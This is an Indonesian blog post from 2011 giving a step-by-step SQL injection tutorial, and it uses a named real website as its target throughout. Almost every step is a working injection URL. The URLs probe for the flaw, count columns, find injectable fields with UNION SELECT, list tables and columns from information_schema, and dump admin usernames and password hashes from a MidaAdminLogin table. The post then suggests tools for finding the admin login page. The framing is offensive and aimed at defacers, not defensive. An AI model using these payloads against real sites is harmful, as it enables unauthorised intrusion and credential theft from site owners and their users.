24 Okt 2011

Step by Step SQL Injection

SQL injection adalah sebuah aksi hacking yang dilakukan pada aplikasi client dengan cara memasukan perintah-perintah SQL(injeksi) dan juga merupakan teknik mengeksploitasi web yang didalamnya terdapat penyimpanan data-data menggunakan database.

Yang perlu diketahui dalam sql injection pada my sql adalah karakter ' atau - ,comment -- atau /* ,dan pada
information_schema tidak support untuk database versi 4

1.Cari target dan bug
Untuk mencari target sqli yang kita butuhkan adalah dork sql injection.
sekarang kita misalkan target kita adalah http://www.nutriweb.org.my/sections.php?secid=1 
Untuk mengetahui pada web tersebut memiliki bug injection tambahkan tanda petik pada akhir url, sehingga menjadi: http://www.nutriweb.org.my/sections.php?secid=1'
dan web akan menampilkan pesan error,yang berarti parameter tidak di filter dengan baik bahkan tidak di filter sama sekali

Ketika kita  menambahkan parameter +and+1=1-- pada akhir URL(http://www.nutriweb.org.my/sections.php?secid=1+and+1=1--), web tampil dengan normal karna 1=1 menghasilkan nilai true.
Dan ketika di tambahkan parameter +and+1=2-- (http://www.nutriweb.org.my/sections.php?secid=1+and+1=1--) web tidak ditampilkan karna 1=2 hasilnya false dan ini membuktikan bahwa web tersebut 99.9% memiliki bug SQL Injection.








2.Mencari tahu jumlah column pada table database
Untuk mengetahui jumlah table pada databasenya tambahkan perintah order by pada target
ex: http://www.nutriweb.org.my/sections.php?secid=1 order by 1--
     http://www.nutriweb.org.my/sections.php?secid=1 order by 2--
     http://www.nutriweb.org.my/sections.php?secid=1 order by 3--
     http://www.nutriweb.org.my/sections.php?secid=1 order by 4--
untuk mengetahui jumlah tablenya kita harus mencoba satu persatu hingga web menunjukan pesan error.
misalkan pada http://www.nutriweb.org.my/sections.php?secid=1 order by 7-- web menunjukan pesan error,berarti bisa dipastikan hanya terdapat 6 column pada table.








3.Column untuk injeksi
Setelah mengetahui terdapat 6 buah column,selanjutnya adalah kita mencari tahu  pada column mana kita bisa melakukan injeksi. Tambahkan perintah union select pada url target dan tanda - sebelum parameter id sehingga menjadi:
http://www.nutriweb.org.my/sections.php?secid=-1 union select 1,2,3,4,5,6--
misalkan web menampilkan angka 3 dan 4 angka inilah yang di sebut sebagai angka ajaib oleh para defancer karena pada angka tersebut injeksi akan dilakukan.








4.Melihat informasi database
Dari angka ajaib tersebut kita bisa melihat informasi dari database seperti nama database,user database,versi database.dll
untuk melihat versi database gunakan perintah version() masukan pada ajaib/angka injeksi yang kita dapat tadi, sehingga url nya menjadi
http://www.nutriweb.org.my/sections.php?secid=-1 union select 1,2,version(),4,5,6--
jika ingin melihat informasi lain kita bisa menambahkan concat(user(),database(),version()),4,5,6-- pada angka injeksi 
Add caption
5.Dapatkan table
Untuk melihat daftar table masukan perintah group_concat(table_name) pada angka injection yang keluar tadi dan pada akhir url masukan perintah from information_schema.tables where table_schema=database() sehingga menjadi:
http://www.nutriweb.org.my/sections.php?secid=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()-- 
Jika kita ingin mengetahui nama table tersebut gunakan perintah table_name masukan pada angka injection yang keluar tadi, dan pada akhir url masukan perintah from information_schema.tables where table_schema=database() limit 0,1-- 
Add caption

6.Dapatkan column
Setelah medapatkan table selanjutnya adalah mencari column pada table tersebut.Untuk mendapatkan column kita wajib meng'convert ke hexadecimal kata yang keluar dari table tadi.
misalkan kita ingin mendapatkan column pada table "MidaAdminLogin" hexa=4d69646141646d696e4c6f67696e

Setelah mengconvert, masukan perintah group_concat(column_name) masukan pada angka injection dan pada akhir url masukan perintah from information_schema.columns where table_name='nama table' (0xhexa) menjadi:
http://www.nutriweb.org.my/sections.php?secid=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x4d69646141646d696e4c6f67696e--









7.Mendapatkan data column
Mendapatkan isi data dari column adalah tugas terkhir kita dari sql injection.Untuk melihat data column tersebut gunakan perintah group_concat(isi column)masukan pada angka injeksi, dan from(nama table berasal) masukan pada akhir url.
http://www.nutriweb.org.my/sections.php?secid=-1 union select 1,2,group_concat(username,0x3a,password),4,5,6 from MidaAdminLogin--








8.Mencari halaman login admin
Untuk mendapatkan halaman login admin saya harap mudah-mudahan semua pasti bisa ya.Karena bukan hanya manual,kita juga bisa menggunakan bantuan tools seperti admin finder,havij,dll

NB:
- 0x3a >> merupakan karakter ":" dalam hexadecimal
- Dalam banyak kasus password yang didapat telah ter'encrypt ke md5
  ex: 6ad6e8aaabf315c581cc452634530b90
 

Tidak ada komentar:

Posting Komentar